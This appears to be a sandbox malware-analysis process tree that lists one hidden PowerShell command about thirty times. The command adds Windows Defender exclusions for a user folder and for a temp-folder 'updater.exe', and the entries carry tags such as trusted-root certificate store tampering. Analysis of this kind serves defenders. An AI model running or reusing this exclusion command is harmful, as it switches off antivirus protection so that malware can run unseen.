- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:1920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
